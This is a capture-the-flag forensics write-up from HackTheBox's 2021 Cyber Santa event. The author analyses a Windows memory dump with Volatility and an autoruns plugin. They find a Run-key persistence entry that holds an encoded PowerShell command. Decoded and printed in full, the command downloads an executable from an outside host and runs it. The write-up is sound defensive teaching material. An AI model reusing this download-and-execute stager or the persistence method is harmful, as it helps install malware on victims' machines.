Event: Cyber Santa is Coming to Town – 2021 HackTheBox
Category: Forensics
PTS: 300
Description:
Although Santa just updated his infra, problems still occur. He keeps complaining about slow boot time and a blue window popping up for a split second during startup. The IT elves support suggested that he should restart his computer. Ah, classic IT support!
Inside the zip file there’s a .raw file, the same thing that we’ve seen previously in the honeypot challenge so let’s roll with the same modus operandi
volatility -f ./persist.raw imageinfo
Volatility Foundation Volatility Framework 2.6
INFO : volatility.debug : Determining profile based on KDBG search...
Suggested Profile(s) : Win7SP1x86_23418, Win7SP0x86, Win7SP1x86
AS Layer1 : IA32PagedMemoryPae (Kernel AS)
AS Layer2 : FileAddressSpace (/home/grizzly/codice/hacking/ctf/cyber_santa_is_coming_htb/forensics_persist/persist.raw)
PAE type : PAE
DTB : 0x185000L
KDBG : 0x82977c68L
Number of Processors : 1
Image Type (Service Pack) : 1
KPCR for CPU 0 : 0x82978d00L
KUSER_SHARED_DATA : 0xffdf0000L
Image date and time : 2021-11-30 22:05:35 UTC+0000
Image local date and time : 2021-11-30 14:05:35 -0800
We know that we’re dealing with an OS dump and we’re looking for something that appears at the boot, probably a Powershell script (from the blue of the pop up window) but there’s no default modules for helping us with that type of research, maybe the community already faced this type of problem, let’s check the internet.
http://tomchop.me/2014/09/18/volatility-autoruns/
They did, using this simple plugin following the instruction on the website this should be your command – or at least similar – :
volatility --plugins=volatility-autoruns/ --profile=Win7SP1x86_23418 -f ./persist.raw --plugins=volatility-autoruns/ autoruns

As you can see we have something called by powershell under the ntuser.dat
HIVE:
Hive: \??\C:\Users\Santa\ntuser.dat
Software\Microsoft\Windows\CurrentVersion\Run (Last modified: 2021-11-30 22:04:29 UTC+0000)
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -enc JABQAGEAdABoACAAPQAgACcAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAdwBpAG4AZABvAHcAcwBcAHcAaQBuAC4AZQB4AGUAJwA7AGkAZgAgACgALQBOAE8AVAAoAFQAZQBzAHQALQBQAGEAdABoACAALQBQAGEAdABoACAAJABQAGEAdABoACAALQBQAGEAdABoAFQAeQBwAGUAIABMAGUAYQBmACkAKQB7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAFAAYQB0AGgAfQBlAGwAcwBlAHsAbQBrAGQAaQByACAAJwBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXAB3AGkAbgBkAG8AdwBzACcAOwAkAGYAbABhAGcAIAA9ACAAIgBIAFQAQgB7AFQAaAAzAHMAMwBfADMAbAB2ADMAcwBfADQAcgAzAF8AcgAzADQAbABsAHkAXwBtADQAbAAxAGMAMQAwAHUAcwB9ACIAOwBpAGUAeAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAiAGgAdAB0AHAAcwA6AC8ALwB3AGkAbgBkAG8AdwBzAGwAaQB2AGUAdQBwAGQAYQB0AGUAcgAuAGMAbwBtAC8AdwBpAG4ALgBlAHgAZQAiACwAJABQAGEAdABoACkAOwBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAJABQAGEAdABoAH0AJQA=
It’s obviously a base64 encoded script, decoding it will produce the following output:
$.P.a.t.h. .=. .'.C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.w.i.n.d.o.w.s.\.w.i.n...e.x.e.'.;.i.f. .(.-.N.O.T.(.T.e.s.t.-.P.a.t.h. .-.P.a.t.h. .$.P.a.t.h. .-.P.a.t.h.T.y.p.e. .L.e.a.f.).).{.S.t.a.r.t.-.P.r.o.c.e.s.s. .$.P.a.t.h.}.e.l.s.e.{.m.k.d.i.r. .'.C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.w.i.n.d.o.w.s.'.;.$.f.l.a.g. .=. .".H.T.B.{.T.h.3.s.3._.3.l.v.3.s._.4.r.3._.r.3.4.l.l.y._.m.4.l.1.c.1.0.u.s.}.".;.i.e.x. .(.N.e.w.-.O.b.j.e.c.t. .S.y.s.t.e.m...N.e.t...W.e.b.C.l.i.e.n.t.)...D.o.w.n.l.o.a.d.F.i.l.e.(.".h.t.t.p.s.:././.w.i.n.d.o.w.s.l.i.v.e.u.p.d.a.t.e.r...c.o.m./.w.i.n...e.x.e.".,.$.P.a.t.h.).;.S.t.a.r.t.-.P.r.o.c.e.s.s. .$.P.a.t.h.}.%.
Which cleaned out looks like this:
$Path = 'C:\ProgramData\windows\win.exe';if (-NOT(Test-Path -Path $Path -PathType Leaf)){Start-Process $Path}else{mkdir 'C:\ProgramData\windows';$flag = "HTB{Th3s3_3lv3s_4r3_r34lly_m4l1c10us}";iex (New-Object System.Net.WebClient).DownloadFile("https://windowsliveupdater.com/win.exe",$Path);Start-Process $Path}%
With our flag in clear.
This was pretty smooth thanks to the time used on the honeypot challenge, we came in strong from that.